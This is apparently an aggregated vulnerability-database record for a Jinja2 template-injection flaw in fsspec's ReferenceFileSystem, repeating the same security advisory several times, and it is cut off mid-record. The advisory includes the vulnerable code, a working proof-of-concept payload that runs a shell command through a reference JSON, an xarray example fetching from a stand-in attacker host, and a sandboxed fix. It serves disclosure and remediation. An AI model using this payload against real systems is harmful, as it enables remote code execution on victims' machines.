{"id":"CVE-2026-104851","aliases":["DEBIAN-CVE-2026-104851","EUVD-2026-91720","GHSA-27vj-qcqg-25rc","PYSEC-2026-4217","UBUNTU-CVE-2026-104851","openSUSE-SU-2026:22028-1"],"status":"published","title":"fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution","description":"fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00475,"percentile":0.41542,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-1336","CWE-94"],"published":"2026-10-02T16:36:48Z","modified":"2026-10-28T02:30:31Z","exploits":[{"source":"pocgithub","id":"federiconbaez/cortex9-fsspec-reference-jinja-ssti-model","title":"federiconbaez/cortex9-fsspec-reference-jinja-ssti-model","date":"2026-11-09","url":"https://github.com/federiconbaez/cortex9-fsspec-reference-jinja-ssti-model"}],"fixes":[{"ecosystem":"PyPI","package":"fsspec","fixed_in":["2026.6.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"fsspec","fixed_in":["2026.9.0-1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"python-fsspec","fixed_in":["2024.3.1-bp160.2.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.0"},{"fixed":"2026.6.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2022.11.0-1","2023.10.0-1","2023.3.0-1~exp1","2023.6.0-1","2023.9.2-1","2024.10.0-1","2024.12.0-1","2024.12.0-2","2024.2.0-1","2024.3.1-1","2024.5.0-1","2024.6.0-1","2024.6.1-1","2024.9.0-1","2025.12.0-1","2025.2.0-1","2025.3.0-1","2025.3.2-1","2025.7.0-1","2025.7.0-2","2025.7.0-3","2025.7.0-4","2026.9.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2025.12.0-1","2025.3.2-1","2025.7.0-1","2025.7.0-2","2025.7.0-3","2025.7.0-4","2026.9.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2026.9.0-1"}]}],"versions":["2025.12.0-1","2025.3.2-1","2025.7.0-1","2025.7.0-2","2025.7.0-3","2025.7.0-4"]},{"source":"osv","ecosystem":"PyPI","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.0"},{"fixed":"2026.6.0"}]}],"versions":["0.9.0","2021.10.0","2021.10.1","2021.11.0","2021.11.1","2021.4.0","2021.5.0","2021.6.0","2021.6.1","2021.7.0","2021.8.1","2021.9.0","2022.1.0","2022.10.0","2022.11.0","2022.2.0","2022.3.0","2022.5.0","2022.7.0","2022.7.1","2022.8.0","2022.8.1","2022.8.2","2023.1.0","2023.10.0","2023.12.0","2023.12.1","2023.12.2","2023.3.0","2023.4.0","2023.5.0","2023.6.0","2023.9.0","2023.9.1","2023.9.2","2024.10.0","2024.12.0","2024.2.0","2024.3.0","2024.3.1","2024.5.0","2024.6.0","2024.6.1","2024.9.0","2025.10.0","2025.12.0","2025.2.0","2025.3.0","2025.3.1","2025.3.2","2025.5.0","2025.5.1","2025.7.0","2025.9.0","2026.1.0","2026.2.0","2026.3.0","2026.4.0"]},{"source":"osv","ecosystem":"PyPI","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.9.0"},{"fixed":"2026.6.0"}]}],"versions":["0.9.0","2021.10.0","2021.10.1","2021.11.0","2021.11.1","2021.4.0","2021.5.0","2021.6.0","2021.6.1","2021.7.0","2021.8.1","2021.9.0","2022.1.0","2022.10.0","2022.11.0","2022.2.0","2022.3.0","2022.5.0","2022.7.0","2022.7.1","2022.8.0","2022.8.1","2022.8.2","2023.1.0","2023.10.0","2023.12.0","2023.12.1","2023.12.2","2023.3.0","2023.4.0","2023.5.0","2023.6.0","2023.9.0","2023.9.1","2023.9.2","2024.10.0","2024.12.0","2024.2.0","2024.3.0","2024.3.1","2024.5.0","2024.6.0","2024.6.1","2024.9.0","2025.10.0","2025.12.0","2025.2.0","2025.3.0","2025.3.1","2025.3.2","2025.5.0","2025.5.1","2025.7.0","2025.9.0","2026.1.0","2026.2.0","2026.3.0","2026.4.0"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.1-0.1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.4-1","2022.01.0-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2023.6.0-1","2023.9.2-1","2023.10.0-1","2024.2.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2025.12.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2025.3.2-1ubuntu1","2025.12.0-1"]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-fsspec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2024.3.1-bp160.2.1"}]}]}],"products":[{"vendor":"fsspec","product":"filesystem_spec"}],"references":[{"url":"https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/fsspec/filesystem_spec/pull/2029","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/fsspec/filesystem_spec/pull/2039","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104851","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-27vj-qcqg-25rc","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/104xxx/CVE-2026-104851.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-104851","tags":["advisory"]},{"url":"https://github.com/fsspec/filesystem_spec","tags":["package"]},{"url":"https://pypi.org/project/fsspec","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-104851","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-104851","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1284173","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-104851","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-104851","title":"fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution","description":"fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.","status":"published","published":"2026-10-02T16:36:48.513Z","modified":"2026-10-05T20:03:36.502Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-94","CWE-1336"],"updated_at":"2026-11-02T14:20:09.448255Z"}],"euvd":[{"id":"EUVD-2026-91720","description":"fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.","status":"published","published":"2026-10-02T16:36:48Z","modified":"2026-10-05T20:03:36Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T17:27:39.05741Z"}],"ghsa":[{"id":"GHSA-27vj-qcqg-25rc","title":"fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution","description":"### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document — typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` — achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A — `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B — `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C — `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n    return jinja2.Template(u).render(**self.templates)  # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n    ...\n    for k, v in tmp.items():\n        if \"{{\" in v:\n            import jinja2\n            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n                temp                                       # \u003c- unsandboxed\n            ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n    ...\n    for pr in products:\n        import jinja2\n        key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        if (\"offset\" in gen) and (\"length\" in gen):\n            offset = int(jinja2.Template(gen[\"offset\"]).render(...))            # \u003c- unsandboxed\n            length = int(jinja2.Template(gen[\"length\"]).render(...))            # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}\"\nREF = {\n    \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n    \"gen\": [{\n        \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n        \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n    }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n    fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n    print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# → markers: [PosixPath('/tmp/fsspec_pwned_\u003cuser\u003e')]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n    \"reference://\",\n    engine=\"zarr\",\n    backend_kwargs={\n        \"consolidated\": False,\n        \"storage_options\": {\n            \"fo\": \"http://attacker.example/refs.json\",\n            \"remote_protocol\": \"http\",\n        },\n    },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n  ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n  been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" — there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n    import jinja2.sandbox\n    env = getattr(_sandboxed_env, \"_env\", None)\n    if env is None:\n        env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n        _sandboxed_env._env = env\n    return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A","status":"published","published":"2026-10-05T22:53:22Z","modified":"2026-10-05T22:53:23Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-94","CWE-1336"],"updated_at":"2026-11-02T14:41:25.889593Z"}],"nvd":[{"id":"CVE-2026-104851","description":"fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.","status":"published","published":"2026-10-02T17:17:03.763Z","modified":"2026-10-05T20:17:09.373Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-94","CWE-1336"],"updated_at":"2026-11-02T14:12:53.75133Z"}],"osv":[{"id":"CVE-2026-104851","title":"fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution","description":"fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.","status":"published","published":"2026-10-02T16:36:48.513Z","modified":"2026-10-28T02:30:31.524422611Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-1336","CWE-94"],"updated_at":"2026-11-02T15:44:54.236592Z"},{"id":"DEBIAN-CVE-2026-104851","description":"fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.","status":"published","published":"2026-10-02T17:17:03.763Z","modified":"2026-10-13T11:00:06.447128514Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:48.903138Z"},{"id":"GHSA-27vj-qcqg-25rc","title":"fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution","description":"### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document — typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` — achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A — `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B — `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C — `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n    return jinja2.Template(u).render(**self.templates)  # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n    ...\n    for k, v in tmp.items():\n        if \"{{\" in v:\n            import jinja2\n            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n                temp                                       # \u003c- unsandboxed\n            ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n    ...\n    for pr in products:\n        import jinja2\n        key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        if (\"offset\" in gen) and (\"length\" in gen):\n            offset = int(jinja2.Template(gen[\"offset\"]).render(...))            # \u003c- unsandboxed\n            length = int(jinja2.Template(gen[\"length\"]).render(...))            # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}\"\nREF = {\n    \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n    \"gen\": [{\n        \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n        \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n    }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n    fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n    print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# → markers: [PosixPath('/tmp/fsspec_pwned_\u003cuser\u003e')]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n    \"reference://\",\n    engine=\"zarr\",\n    backend_kwargs={\n        \"consolidated\": False,\n        \"storage_options\": {\n            \"fo\": \"http://attacker.example/refs.json\",\n            \"remote_protocol\": \"http\",\n        },\n    },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n  ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n  been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" — there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n    import jinja2.sandbox\n    env = getattr(_sandboxed_env, \"_env\", None)\n    if env is None:\n        env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n        _sandboxed_env._env = env\n    return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A","status":"published","published":"2026-10-05T22:53:22Z","modified":"2026-10-15T14:56:18.658408345Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-1336","CWE-94"],"updated_at":"2026-11-02T15:46:33.956911Z"},{"id":"PYSEC-2026-4217","title":"fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution","description":"### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document — typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` — achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A — `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B — `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C — `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n    return jinja2.Template(u).render(**self.templates)  # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n    ...\n    for k, v in tmp.items():\n        if \"{{\" in v:\n            import jinja2\n            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n                temp                                       # \u003c- unsandboxed\n            ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n    ...\n    for pr in products:\n        import jinja2\n        key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        if (\"offset\" in gen) and (\"length\" in gen):\n            offset = int(jinja2.Template(gen[\"offset\"]).render(...))            # \u003c- unsandboxed\n            length = int(jinja2.Template(gen[\"length\"]).render(...))            # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}\"\nREF = {\n    \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n    \"gen\": [{\n        \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n        \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n    }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n    fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n    print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# → markers: [PosixPath('/tmp/fsspec_pwned_\u003cuser\u003e')]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n    \"reference://\",\n    engine=\"zarr\",\n    backend_kwargs={\n        \"consolidated\": False,\n        \"storage_options\": {\n            \"fo\": 